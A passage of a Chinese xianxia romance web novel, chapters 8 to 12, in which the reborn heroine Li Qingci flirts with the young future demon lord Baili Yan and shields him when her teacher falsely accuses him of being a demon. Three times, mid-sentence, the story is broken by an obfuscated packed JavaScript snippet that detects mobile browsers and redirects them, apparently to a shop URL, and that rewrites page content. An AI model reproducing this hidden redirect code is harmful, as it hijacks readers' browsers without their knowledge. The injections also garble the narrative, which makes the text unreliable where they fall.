将药放好,黎清词出了门,来到百里衍住的小院,黎清词平复了一下心情,这才敲门。 门拉开,白白净净的少年站在跟前,看到来人他面露喜色,“黎姑娘?” 未来的百里衍喜怒不形于色,深沉难懂,少年却不经事,藏不住喜悦。 看样子见到她让他很开心。 黎清词走进屋,问他:“你伤好些了?” “多亏了黎姑娘的丹药,已好多了。” “我看看。” 黎清词说着便要去拉他的衣服,百里衍下意识躲开。黎清词这才意识到不对劲。主要还是她跟百里衍太熟了,对方身上的每一寸都清楚,一时也忘了这会儿两人还年少。 对上少年几分不解几分含蓄几分羞涩的目光,黎清词却并未收回手,总感觉这会儿的百里衍很好逗,忍不住就想逗他。 “怎么了?不能看吗?” 黎清词一点都没有男女授受不亲的觉悟,还理所当然反问,少年目光躲闪,虽有诧异,却没再继续躲。 给她一种,他任由她为之的感觉。 黎清词心头莫名激荡起来,便直接伸手将他衣服拉下,露出半个胸口和肩膀,肌肤裸露的那一刻,少年稍稍偏开了头。 9. 第 9 章 此刻两人相交并不深,黎清词却并未守礼,客气礼貌性的看看,反而故意凑近了。 气息逼近,她感觉他身体微僵,再抬头看他,却见露在她面前的侧脸泛着淡淡的红晕,耳朵也跟红玉宝石似的,红得晶莹剔透。 虽已知晓年少的百里衍和未来的百里衍全然不同,可每次看到他害羞总让她觉得难以置信。 那个混蛋居然还有这副模样。 她想起那日百里衍乘着他的坐骑带着她游荡在魔族上空,百里衍的坐骑是一只羽毛五彩斑斓油光水滑的火焰凤凰。 凤凰和他的主人一样嚣张,鸣叫着喧嚣自己的存在感,所到之处,魔族臣民纷纷跪拜。 魔族的边界靠海,火凤凰翱翔到海边停下。魔族圣城九渊荒凉如焦土,这边界却风景奇美,碧蓝的海水,干净无染的天空,还有海边一株株高大的胥邪树耸立。 看多了九渊的苍凉,骤然看到这样的美景,黎清词连连感叹。 “好美。” “身后有落日更美。” 黎清词便下意识回头看,可百里衍高大的身躯就坐在后面,回头只能看到他宽阔的胸口口和修长脖颈。 黎清词正要抬身越过他肩头,不想腰上一轻,是百里衍直接将她抱了起来,翻了个身,让她用正对着他的姿势,这样目光便能直视远处那一轮落日,不必再转头。 落日余晖确实够美,可这个姿势实在是…… “这样不雅。”黎清词冲他道。 “你尽管看你的,管什么不雅?” “……” 这姿势又别扭又暧昧,她哪里还有心思欣赏风景,而且她很快发现了不对劲,她有些恼向百里衍看去。 “魔尊是不是有点不顾场合了?” 他按在她腰上的手微微收紧,往下,力道不轻不重揉捏,却漫不经心反问,“如何不顾场合了?” 黎清词咬了咬牙,“光天化日之下,小心被人撞见。” “不会有人。” “你怎么知道?” “因为来在这里,即便有人也是死人,看不见,听不到。” “……” 真是厚颜无耻。 收回神,看着眼前泛红的脸,黎清词简直无法形容心头的诧异,然而却又感觉到那股莫名的爽感。 百里衍,你也有今天啊。 所以黎清词并没有见好就收,而是盯着他的脸,故作疑惑问道:“百里公子,你怎么脸红了啊?” 百里衍顿时像被刺到一样,他退开一步,将被她拉下的衣服捞上去,面色躲闪着,说道:“抱歉黎姑娘,我失态了。” 这慌乱的羞涩样,百里衍这真是你吗?你那样的混蛋也有如此纯情的一面吗?看着竟有点可怜是怎么回事? 反而更想逗了。 “我看着你伤口确实好了不少。”黎清词道。 转开了话题,百里衍有些紧绷的神情也缓了些,“能好这么快,也是多亏了黎姑娘。” “黎姑娘,百里公子,我们老这样称呼好绕口,我们换一个别的称呼可好?” “黎姑娘想换成什么?”他说着,目光却看过来,试探着,又带着几分期待的目光。 “那我就叫你……”黎清词故作停顿,思绪却又回到前世和百里衍在一起的时候。 那日两人因为一些事情发生分歧,百里衍的手下抓了一批仙门俘虏回来,百里衍想将这些人全部炼丹,黎清词却劝他放了他们。 百里衍因此不虞,他觉得她已与他双修,而且他还给了她法力,她却还心系仙门。因为这事儿百里衍有好多日没来找她。 黎清词那时还需要他法力,有求于他,自然先低头。她去他殿中找他,他斜靠在椅子上看魔族的折子,看到她进来只是抬了下眼,便也没理会他,自又将目光落在折子上。 黎清词端着汤走上前舀了一勺递过去,“先歇会儿喝口汤,灵药熬制的,可解疲乏。” 百里衍只淡淡看了她一眼,便又收回目光,依旧不理。 黎清词继续哄,“魔尊,我熬了好久的,给些面子吃一口可好?” 不吃。 “魔尊啊!” 不理。 黎清词想了想,干脆来一点猛料,轻声唤他,“阿衍。” 目光终于落在她身上,没有随意一扫就离开,停顿,用眼神询问。 黎清词急忙道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028832|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着叫魔尊好像太过见外了,便试着取一个昵称。不过这样叫又太造次,若冒犯了魔尊,还望恕罪。” 那一双冰冷的眸子渐渐冒了些亮光,嘴角也微微弯起,手上的折子随手扔于桌上,他接过她的手中的碗一口喝尽,随即微微倾身,用一种极近又暧昧,却又未完全挨上的距离冲她道:“本尊允你造次。” 此刻黎清词收回神,轻声唤他,“阿衍,我叫你阿衍可好?” 他抬眸,有情绪在眼底跳动,一瞬间的亮色让她知道他对她这样称呼感到惊喜,他果然是喜欢的。 他没答,所以黎清词又故意说道:“这样叫好像显得太过亲近了些,是不是有点冒昧,要不还是叫别的?” “不会。”他语气带着急切,说完又觉得这般急切显得奇怪,他便又轻声说道:“黎姑娘怎么方便怎么叫。” “那行,我往后便叫你阿衍。” 他微微偏开目光,颔首,“好。” “那你呢?总叫我黎姑娘也怪客气的,你也换个称呼吧?” 前世和百里衍在一起时,她叫他阿衍,不过却也没要他给她昵称。百里衍对她也没昵称,在一起的时候就不叫名,目光直视她,比如让她过来,比如让她抬高腿,比如让她主动攀附上他的脖子吻他,都没有称呼,因为人在跟前,她知道是叫她。不过若惹他生气了,他就直呼其名。 “黎清词。”染着冷和威压的声音,总让她心头一咯噔。 有时候她觉得百里衍不够温柔。 所以有些遗憾,百里衍,你都没给过我昵称。 少年听到这话,沉思着,黎清词也不知道他心里所想,她便给了他台阶说道:“我身边人都叫我小词,要不……” 要不你也这样叫我吧。 百里衍却道:“小词有人叫了,我便叫别的。” 哦,他不想跟别人一样叫她小词。倒是跟未来百里衍一样,什么都要特别的,问她和她的小竹马可有这样过,可有那样过。听到她回答没有他才满意。 “也行,阿衍要叫我什么?” 他犹豫片刻后目光向她看去,依旧带着几分羞涩的,用一种很轻柔的声音冲她道:“我叫你清清可好?” 10. 第 10 章 清清。 比小词还更柔软亲近些的称呼。她是真没想到百里衍会给她取个这样的昵称,有些肉麻的,是那个大魔头绝对不可能叫出口的。 眼前少年纯白干净,还有着年轻人的羞涩,果然是和未来大魔头不同的,百里衍,年少的你原来也有温柔的一面。 这一声清清,简直像一汪温热的水化在心头,黎清词不想承认她被撩拨了一下,不过面色还是自然的。 “甚好。” 他有些羞赧的微笑,“清清,你喜欢就好。” 不知为何,骤然有一股暧昧感围了过来,百里衍这副模样就给她一种很好说话的感觉,就是那种你想对他干什么他都会答应的。 黎清词觉得这个想法很危险,在年少的百里衍面前,她倒显得更像个魔。 “那,我便先走了,你好好休息。我空了再来看你。” 黎清词急匆匆告辞出来,站在门口深吸一口气,这才让神情自然一些离开。 黎清词离开许久百里衍才回过神来,阿衍……想到这个称呼,他又不禁低头一笑。 晚上百里衍难以入睡,脑海中一直响着那句,“阿衍,我叫你阿衍可好?” 他索性披衣起身,想利用夜晚的寒冷让自己冷静下来。夜间的洪都门安静得可怕,远处山林的轮廓像一只只蛰伏的巨兽。百里衍漫无目的走着,也不知走到了哪里,直到一抬头,只见眼前雾气弥漫,隐约间可见不远处矗立着大大小小的坟头。 百里衍不知这里是哪里,怎么走到这里来了,大晚上的误闯坟地着实骇人,百里衍正要离去,一阵风过,有细碎的说话声传来。 百里衍顺着声音走了几步,在几株杉树掩映间看到不远处站着几个人,天边高悬着半轮明月,淡淡的清辉落在几人身上,虽然看得不太清晰,可他还是辨认出来,这三人,一人是黎清词的师长,另外两位是黎清词的父母。 离得远,他听不清几人在说什么,心下却觉得奇怪,为何这几人会约在这里谈话?看着眼前大小不一的坟,这就不是个说话的地方。 正疑惑间,不远处魏无机像是发现了什么,他神情一凛,锋利的目光穿过萦绕的雾气向此处看过来。百里衍也不知被发现了没有,放轻了脚步离开,好在一路也无人追来。 回到房中百里衍越想越不对劲。他想到黎清词告诉过他,她住在如意轩,不过这会儿去找她太过唐突,可百里衍总觉得心理不踏实,便拿出黎清词给他的符纸,在上面写下她的名字,以食指和中指结印将符纸启动,只见一道金光闪过,他急忙轻声唤道:“黎……清清,你可睡了?” 黎清词确实已经睡下,不过感知到百里衍的召唤她急忙坐起身。已过子时,这么晚若没有急事,百里衍是不会找她的。 百里衍等了一会儿没人应,便想着她或许已经歇下了,明天同她说也可以。正这样想着,便听到不轻不重的敲门声。 百里衍急忙开门,来人果真是黎清词。 “你找我何事?”黎清词问他。 来不及欣喜她会直接出现,百里衍急忙将方才所见告诉她。 “我方才去了后山,看到你师长和你父母在那里说事。你父母找你师长肯定是谈你的事情,我觉得奇怪,为什么他们谈事要选择在后山,那边是一片坟场,不是说话的地方,我觉得事情蹊跷便想着告诉你,又或者是我想多了。” 后山坟场?看样子百里衍不小心跑去洪都门禁地了。 洪都门禁地葬着洪都门历代长老,除了祭拜日有专门的人去祭拜外,其余时间任何人不得闯入,百里衍不是洪都门学子,想来并不知道那里是禁地。 禁地,魏无机和她的父母…… 黎清词目光深深看了一眼百里衍,此人虽年少,心思敏锐这点倒是一直没变。 “有人看到你没有?” “我不确定,你师长好像知道附近有人,不过我离开后他没有追来,也不知他有没有看清我” 年少的百里衍还远没有未来那般强大,以魏无机的法力,恐怕追着他他都不知道。去到那个地方说话,说得肯定是一些见不得人的事,他们三人还有什么见不得人的事情可说呢?左不过是和她这个器皿有关。 若是让魏无机发现百里衍不小心看到他们,再加上百里衍又是黎清词带回来的。魏无机目前不会对黎清词怎么样,但百里衍肯定是逃不掉的。 若是在外面恐怕就直接杀了,可这是洪都门,直接杀了不好交代,那么魏无机会用什么办法对付百里衍呢。可不管什么方法,百里衍都很危险。 黎清词想了想说道:“你好好呆着,不要再出去了。” 百里衍试探着问:“是不是有什么事?” “没有。” “那便好。”百里衍似放了些心,“抱歉,这么晚还将你叫起来。” “没事,我知你是担心我。” 对上她的目光,百里衍闪过几分慌乱,很明显被她说中了。不过黎清词这会儿却没心思逗他,她还得想想接下来要怎么做。 黎清词正准备告辞离开,骤然想到什么,她问百里衍:“你怎么会认识我父母?” 飞光阁所在的州和云山相隔甚远,百里衍和她的父母想来是没见过面的,黎清词这么问倒不是怀疑他什么,只是好奇。 “两年前上元节,我见过你和你父母。” 这话倒让黎清词愣住了,“所以这次在迷失林并不是我们第一次见面?” “嗯,但你可能不记得了。” “……” 黎清词是真没想到,原来迷失林并不是她和百里衍第一次见面,可那个大魔头只提到迷失林并未提到上元节。 两年前上元节? 她是真一点印象都没有了。 那年上元节,在苏城,那里是凡人的都城,热闹繁华,也是百里衍母亲的故乡。他母亲是个凡人,和父亲分开之后母亲带着她回到外婆家,后来母亲过世,他便跟着舅舅一家生活。 舅舅一家并不喜欢他,舅妈对他更是不待见,舅舅一家对他就是喂口饭吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028833|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能活着就行。所以百里衍从小到大都是以这样的准则生活,能活着就行,活成什么样无所谓。 舅舅也常说他像一块烂泥一样扶不上墙,当烂泥就当烂泥,需要抚上墙做什么。 不过那次有修士去凡间寻可造之才,发现他根骨还不错,与舅舅商议将他送到仙门修炼。舅舅富甲一方,却并未对他悉心培养,也没那个打算。可听到这话之后他竟同意了,便将他送到仙门一个末流刀修门派修习,离得远,又不需要太花钱,去修行难得回来,也不用呆在跟前让他们厌烦,可谓两全其美。 那次上元节,师门沐休,他回去舅舅家,舅舅一家却相邀去游玩了,他已写了信要回来,不过舅舅依旧没等他,又为什么要等他呢,他又算不得他们的家人。 那日他站在河边,看着河两岸的璀璨灯火,一艘艘挂着漂亮灯笼的画舫经过。河两岸都是结伴放花灯的人,河中倒映着热闹的灯光,好似装了一整条银河。而他在万家灯火之时,在亲朋友人欢聚的那一刻,在璀璨的河岸边,他孤身一人站在那里,在一团和气的热闹中显得有些突兀。 黎清词一家便是在这个时候出现了,只见一艘华丽的画舫之上,一家三口站在船边看着沿路风景,少女身披锦裘,头上的朱玉发钗竟比沿路的灯光还要璀璨。她趴在船舷,捞起飘在河面的河灯,旁边中年夫妇急忙把住她的腰,生怕她掉下去,少女捞起河灯,笑容恣意,面对父母的责怪,佯装认错,可眉眼间的得意之色却是掩盖不住。 就在这时,少女的目光突然落到河岸,也不知是不是他孤身一人立在那里太过醒目,与周围热闹阖家欢乐的气氛显得格格不入,她一下就注意到了。只犹豫了片刻,便见她提着花灯飞身而起,身姿轻快踏在水面,几个兔起鹘落便稳稳落在他跟前。 一股香味扑鼻而来,眼前骤然出现一张俏丽的脸,灿若星辰般的眼睛,比月色还要皎洁的一张脸。 “你怎得一个人在此?”女孩问他,“你的家人呢?” “我没有家人。” 女孩似乎有些惊讶,可随即就笑了笑,将手上花灯递给他,“这个送你,有花灯伴你,你别那般孤寂。” 百里衍看着花灯有些错愕,女孩的家人唤着她,她将花灯递到他手上,便又身姿轻快飞回画舫。 百里衍的目光下意识追随而去,而女孩已与父母说笑,没再看她,画舫也很快消失在眼前。 百里衍低头看着花灯。 有花灯伴你,你别那般孤寂。 那是他和黎清词的第一次见面,她那般光鲜亮丽出现在他面前,像一朵生活在光照下的花,鲜艳,灿烂,夺目。 后来他才从师兄们口中知道她出生云山黎家,那是仙门几大剑修家族之一,而且还是洪都门的学子。一个在天,一个在地,她如天上月,而他是地上的一滩烂泥。 可那花灯常常伴他左右,从小到大他能做的事情只有活着,可从那天开始,他有了想做的事,他想去洪都门。 他这摊烂泥也想一窥天上的月。 11. 第 11 章 他开始刻苦修炼,而无意中的一次冲突让他发现了自己的不同之处,起因是那盏被他放于床上的花灯,被一个多事的师兄拿到手上把玩,不小心弄散了架。 那是他第一次产生杀意,也是第一次体验到面对杀戮时那种像是有什么东西被唤醒的兴奋感,这种感觉让他陌生。 师兄被他按在地上,他差点就要下杀手,最终因为师父赶到拦下了他,他才后知后觉醒过神来。 他苦心修炼两年便为了入学洪都门做准备,可师门却突遭魔族侵袭,不少同门被魔族杀害,他九死一生逃出来。他其实知道洪都门在岐山试炼,或许就是因为知道这点才故意往岐山躲。就是那么巧,他重伤昏迷后醒来,一睁眼就看到眼前的人。 那,他一直想要一窥的天上明月。 “我是洪都门黎清词。” 没有那一身华服和漂亮的环佩,她依旧皎洁灿烂。 我知你是黎清词。 在她看不到的地方他双手紧握指甲几乎要钳在肉中,这才压下复杂情绪。 “我是飞光阁百里衍。” 百里衍并未详细告知黎清词他心中所想,只简单将两人相遇的经过说了一遍。黎清词是真没想到,在迷失林之前他们竟就见过了,对于第一次的相遇她是真一点印象都没有。更让她奇怪的是,在大魔头百里衍身边呆了那么久,他也没提到过这件事,只说在迷失林那次,她救了他。 “所以我见过你父母,自然认出了他们。” 主要是那日的黎清词给他留下太深刻的印象,以至于她身边的一切他都多观察了几眼,那日她坐的画舫是什么样,她身边的人又是什么样。 黎清词点点头,不过这会儿时间紧迫,她也只能暂时收起疑惑,这一晚她还有得忙,便暂时离开。 她有一张对付魏无机的好牌,不过她不想这么快打出这张牌,可她也知,魏无机若发现百里衍偷听,定会除掉他。 而她,这一次,她要护着阿衍。 黎清词在下山前写了一封信偷偷送到璇玑长老房中,下山之后一直忙到第二日清晨才匆匆上山来。到山门的平台之上时,竟没看到打扫的学子,此刻山门静悄悄的,静得有些可怕。黎清词有种不太好的预感,她急忙走进去,听到训练场那边传来说话声,她循着声音赶过去,就见无数人围在训练场。训练场最上方,魏无机正站在那里,旁边是被两个弟子压着的百里衍。 “昨日,我夜巡门内,见一处院中有魔气溢出,我循着魔气赶过去,便看到这位百里公子正运气疗伤,想来是太过投入了,便不小心泄了些魔气出来。” 这话落下,底下一片哗然,仙门对魔向来是深恶痛绝的。 “竟是魔?” “假扮仙门中人,这魔真是好大的胆子!” “处死他!处死魔!” 声音此次彼伏,被压着的百里衍倒还算冷静,面色坦然为自己争辩,“我并非魔,我来此地之前门主已查探过,我只有灵根没有魔骨。我爹是修士,我娘亲是凡人,我怎会是魔?倒是魏师长,昨日子时你为何会去洪都门禁地?是因为被我发现你去了禁地才污蔑我是魔的吗?” 百里衍已经知道后山是禁地,魏无机去了禁地,其一与门规不符,其二去那种地方不管做什么都显得动机不纯。 百里衍话落,底下正热闹处死魔的声音顿时安静下来,皆面色复杂看向魏无机。 “你这魔休要胡搅蛮缠,你别以为我不知道,你动用了你魔族邪术封印了魔骨,这才让门主查探不出,待我将你的真面目打出来,我倒要看看你还有话可说?” 魏无机说完,便开始在掌间运气,黎清词见状来不及多想,急忙从人群中飞跃而出挡在百里衍跟前。 魏无机皱眉,将掌间的气息暂时收回,他面沉如水,声音也冷得可怕,“小词,你在做什么?” 黎清词说道:“以师父的功力,这一掌下去他必死无疑,我怕师父错杀无辜,会被世人诟病。” “为师自有分寸,小词你不知魔族善用花言巧语,你不要被他所蒙骗,此人定是魔,你快些让开,待为师将此人魔骨打出,你便知此人真面目。” 其实黎清词也挺疑惑的,百里衍确实是魔无疑,可为什么连门主都没发现他的魔骨。他究竟用了什么办法将魔骨掩藏起来的,难道真像魏无机所说,他有魔族秘法? 若真让魏无机将他的魔骨打出来,后果不堪设想,以黎清词现在的能耐,绝对保不住他的。 所以绝对不能放任魏无机所为,她得拖住,只要拖到魏无机相好出现便可。只要那女人出现,所有人都会知道魏无机就是个沽名钓誉之徒。这个清正廉洁的师长,这个疼爱妻子的好男人,其实偷偷在外面养外室生儿子,魏无机一世英名毁于一旦,到时谁还相信他的话? “师长,百里公子有伤在身,要探查他是不是魔也不急于一时,等他养好了身体再查探也不迟。若他真不是魔,师长即便是无心伤了他,也会有损你名声,说你持强凌弱。” 魏无机双眼微微眯紧,“小词,你为何要处处袒护这魔?若他是魔,你可知今日此举,按门内规矩,便是包庇魔族之罪,是要受门规处罚的。你不要再受他蒙蔽,快些让开。” 百里衍也在身后道:“你别在此处,小心伤到你,让他打便是,我并非魔,他怎么打也打不出我的魔骨。” 黎清词侧头,对上的是百里衍平静而坦然的面容。 不是…… 他是很相信自己的秘术能封印好他的魔骨,料定魏无机打不出来?还是说……还是说,这会儿的百里衍他还不知道自己是魔? 不过这会儿也不是思索这些的时候,魏无机已开始催促,“小词,快让开!” 黎清词依旧没动,甚至已开始在身体里运气护体。百里衍和她离得近,自然察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028834|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉出她在开始运气,他诧异不解,复杂的情绪在眼底翻涌。 “你……你不可。” 百里衍怎会让她挡在他跟前,正要侧身避开,与她拉远些距离,不料就在这时,只见山门守卫急匆匆走上前禀报道:“门主,外边有人求见,说是找,说是找魏师长的,她……她自称魏师长的夫人,有要事相见!” 守卫大约也是被这消息惊到,说这话时结结巴巴的。 魏师长的夫人……众人向许宓的方向看去,谁人不知魏无机和许宓是仙门人人称羡的道侣。许宓师长不是好好在那里吗? 黎清词听到这话,下意识松了口气。 洪都门里出现魔这么大的事情,门主和几位师长都在,听到这话皆一脸疑惑在魏无机与许宓身上来回看。 魏无机大概猜到来者是何人,不过又觉得不可能,她怎么会找到这里,她都不知道他的真实身份。 魏无机便冲那守卫呵斥道:“休得胡言,我夫人就在此处,怎的还有夫人来找?” 守卫战战兢兢的,他自然不想惹祸上身,急忙说道:“可,可她手上有魏师长的通牒。” 云山守卫森严,普通人怎么进得来,但若是有洪都门的通牒便可顺利进出,尤其还是洪都门师长的通牒,守卫只看通牒不看人,自然放她进来。 门主慕容正听到这话,问守卫:“你可看清楚?是魏师长的通牒?” “小的驻守山门这么多年,自是能分辨真假。” 也就是说那女子手中确实有魏无机的通牒,这就有话聊了,一个拿着魏无机通牒找上山又自称是他夫人的女子。 慕容正也一脸意味深长向魏无机看过去,魏无机倒并未慌乱,依旧清风正正,说道:“想来是我的通牒被有心之人捡去了,我夫人已在此,又怎还会有夫人?恐是那人想以此讹诈,便将她赶走,不必理会。” 守卫没应声,他向门主看去,门主没搭话。黎清词见状,暗想着就这么赶走了怎么行,黎清词及时说道:“那人捡到师长通牒据为己有便罢了,竟还自称师长夫人有辱师长清誉。仙门清誉岂是旁人能侮辱的?我看应该将那女子拿住好好逼问,若她真只为讹诈,便将她打一顿再逐出去,若有旁的心思,那侮辱仙门师长,该杀掉才行。” 黎清词话落,魏无机那带着危险的逼视目光便向她扫过来,黎清词不慌不忙一拱手,“师长,徒儿也是为了您的清誉考虑。” 许宓之前是和其他师长一样坐在台下,此刻走上台冲那守卫说道:“将那女子带进来。” “宓儿?”魏无机语气有些复杂唤了一声。 许宓道:“小词说得对,仙门清誉事大,不能让有心人损了你清誉。” 魏无机便不好再说什么,不过那凝重的面色可以看出,此刻的他内心定不平静。 本来这张牌黎清词不想那么快打出的,可魏无机,你就不该动我的阿衍。 12.第 12 章 没一会儿那女子便被带了过来,她头上挽着妇人发髻,长相虽称不上姿容艳丽,可也算五官端正,身上穿的衣服也并不华丽,就是普通妇人的穿着。 想来也是没见过这么多人,目光怯生生看着周围,直到看到台上的魏无机,她便像是找到主心骨似的,急忙走上去拉住他的手,“魏郎,魏郎你果真在这里,怎么办魏郎,景儿他不见了,有人告诉我,来这里能找到你,我没办法只能来这里寻你。” “魏郎?”许宓看看女人又看看魏无机,目光落在那被女人挽着的手上,她动作自然亲昵,仿若眼前真是她极亲近之人。 魏无机就像是被烫到似的,他一甩手将女人甩开,呵斥道:“哪里来的村妇?你可好好看清了,我怎的是你的魏郎?” 女人顿时一脸懵,她疑惑看向魏无机,“魏郎你怎么回事啊?我是玲儿啊。” 许宓放在身侧的双手下意识收紧,按捺着复杂的心情,她倒语气平静问女子,“你和这魏郎是何关系?” 女子道:“他是我夫君。”女人的知觉也让女子察觉到问她这话的女子跟魏郎的关系不一般,她也问道:“你……你可认识我家魏郎?” 许宓深深吸了一口气,内心翻涌,说话的语气倒依旧平静,“我是你家魏郎的夫人。” 女人不敢相信,在短暂的震惊过后,她怒目看向魏无机,顿时又急又气怒吼道:“我就知道,我就知道,你总说忙,常常不回家来,原来果真在外面还有一房,你这杀千刀的,你怎得这般对我?” 女人说完,便冲上前抓着魏无机的胸口又垂又打,一边委屈哭嚎,“你这杀千刀的!” 魏无机面色复杂闪过,随即目光一冷,将女人推开,那女人身子也是娇,这一推竟就将她推倒在地上,魏无机拔出剑对着她,沉声道:“你这疯女人可好好长长眼,我并不是你的魏郎,你若再胡搅蛮缠,我便杀了你。” 女人简直惊呆了,眼前的男人叫她陌生,望着一脸冷然对她拔剑相向的男人,她顿时又怒又绝望,哭嚎道:“那你便杀了我罢,景儿不知所踪,你竟还要杀我,我便也不想活了。” 女人说罢便坐在地上嚎啕大哭起来。 魏无机面色虽冷,可送出去的剑却并未像他面色那般冰冷无情,就对着女人的方向,没收回,但也没进一寸。 许宓与魏无机在一起多年,他此状她便已猜到些什么,她闭上眼,放在身侧的双手握得更紧。 就在此时,便见山门长老自虚空之中踏出,一众弟子见状急忙跪拜行行礼,魏无机也收了剑,向长老拱手行礼。 璇玑长老一身雪色长衫,头发与胡须也皆是雪白,此刻他捏着雪白的胡须,在几人身上来回看。 “你说你是这位魏郎的夫人?”长老问那妇人。 “是啊。”女子看向魏无机,又气又委屈,“可我的魏郎不认我了。”说罢泪水滚滚而下。 “你可有东西证明?” 女子想了想,魏郎总是神秘,她甚至连他的全名都不知道,只知道他姓魏。他总是很忙,一年也难得回来一次,不过他待他们母子却极好,从不短他们吃喝。每次回来待她也极温存妥帖。她也不知为何此刻的魏郎要翻脸不认人。 女子道:“没有。” 长老又道:“你的通牒是魏郎给你的?” “不是,是别人给的,他告诉我来这里可以找到魏郎,我心忧我儿,不知该怎么办,便来此地寻魏郎同我一起找。” “给你通牒那人你可看清楚了,他长什么样?” “没看清,他戴着面具。” 长老捻着胡须沉思片刻后说道:“你与魏郎育有一子?” “是啊。” 长老说完看向魏无机,“无机,你可认得此女?” 魏无机握剑拱手,“弟子不认得。” “她说你是他夫君,你又说你不认得,各有各的说法,她也没有凭证证明你是他夫君,不过听此妇所言,她与你育有一子,便将此子找来与你滴血验亲。众目睽睽总要有个交待,无机,你觉得如何?” 魏无机犹豫片刻,说道:“弟子听从师父安排。” 方才女人说孩子失踪了,想来一时半会儿是找不到的,那还有时间容他安排。 女人听到这话,哭得更伤心了,“我家景儿不知所踪,要怎生滴血验亲呢?” 长老微微叹息一声,不知冲着何处说了一声:“你出来吧。” 便见那虚空之中踏出一个人来,男子看着像是弱冠之年,这人大概也不明白为何只跨了一道门眼前所见就全然不一样了,再加上一出来就看到这么多人,他顿时有些无措。那女人看到他,便像是看到失而复得的宝贝似的,急忙扑上来将他抱住,“景儿,你这臭小子,你去哪儿了?” “娘亲,这……这儿怎生怎么多人?” 男子说完骤然看到不远处的魏无机,他面色一喜,急忙走上前笑道:“爹爹,爹爹你也在此?一别许久不见,爹爹上次离开时说回来要带孩儿骑马,孩儿可一直记着的。” 魏无机却冷冷瞥他一眼,男子不明所以,却被这眼神给震了一下,女人急忙将他拉到一边,有些怨恨看了魏无机一眼,说道:“景儿快些过来,你爹爹发了失心疯了,他不认我们母子,还要杀了我。” “怎么会?”男子疑惑不解的眼神看向魏无机,“爹爹你为何要杀娘亲?” 魏无机并未回答,妇人见状又滚下泪来,“便是我瞎了眼了,以为你真是忙,想着男儿志在四方,一人在家拉扯着孩儿长大也从未有怨言,却不想原来你在外面还有一房。” 男子越听越不解,“娘亲这是何意?什么叫外面又有一房?” 妇人不语,也无人替他解释,男子有些摸不着头脑,昨晚莫名其妙被人带走,后来又遇到个白头发的老爷爷,说要带他去个地方,随后他就同他来到了这里。那老爷爷说他一会儿要外出办事,若在门外听到他的声音叫他出来他便出来。他就一直乖乖在房里等着,直到听到老爷爷叫他他才出来,却没想到一出来就是这场面,这么怎么这儿多人,爹爹怎么还变得跟往日不一样了。 长老让人端来一碗水,他冲魏无机道:“无机,你便与此子滴血验亲,若验出你与此子是亲父子,你该知道山门的规矩,你已与许宓结契成为夫妻,若还在外面同人成亲便违背了契约,有违门规,定要重罚。” 魏无机拱手道:“弟子知晓。”总归他是有办法让滴血验亲验不出他和此子的亲缘关系,到时便将这对母子赶走,稍后他再向母子二人解释。 长老又道:“若是滴血验亲证明你与此子无血亲关系,便证明此母子在撒谎,损害仙门声誉者我也绝不会轻饶。我洪都门在云山之巅,万人敬仰,仙门千万人盯着,山门声誉关乎重大,有损仙门声誉之人,便要杀之以儆效尤。” 听到这话魏无机一愣,损害仙门声誉虽是重罪,可仙门自来也秉持仁爱和救济世人之心,执法并不严苛。这两人有罪倒也不至于被杀掉,可若长老执意要杀于情于理也说得过去。 长老道:“无机,你可准备好了?” 魏无机深深看了长老一眼,很快明白过来,长老是绝对不可能让洪都门蒙上污点的。滴血验亲只是走个过场,给在场众人一个交待,不管他和此子是否亲生,滴血验亲都会证明不是亲生。 也就是说,此母子今日必死无疑。 此刻已有弟子端了水上来,男子听说要与爹爹滴血验亲,虽不知究竟所谓何事,倒也接过弟子递来的刀子,在手指上割下一刀,放了一滴血进去。 长老催促,“无机,该你了。” 魏无机愣了片刻才接过刀子,手指有些抖,他向那母子二人看去。此刻妇人紧紧抱着那孩子,他们大概还不知道接下来等待他们的命运是什么。 魏无机找凡人生子就是想延续血脉,若是延续血脉不成也不是什么不得了的事情。可若是因着母子两人毁了清誉,那他便没脸在洪都门立足,恐怕不止如此,他有可能再无脸于仙门立足,而且……而且……他目光复杂看向许宓。 以宓儿的性子恐怕也不会再搭理他。 只要这母子两人死了,便能保全一切,长老为了山门声誉,私下里会给他教训,可表面上也会佯装不知,他还能继续留在仙门。 可此子是他看着长大的,想着他幼时,他从外间回来,拿出给他买的拨浪鼓,稚儿接过时那欢喜的脸。那妇人虽不识字,也不懂仙门之术,却也温柔小意,两人也曾一起度过许多浪漫春夜。 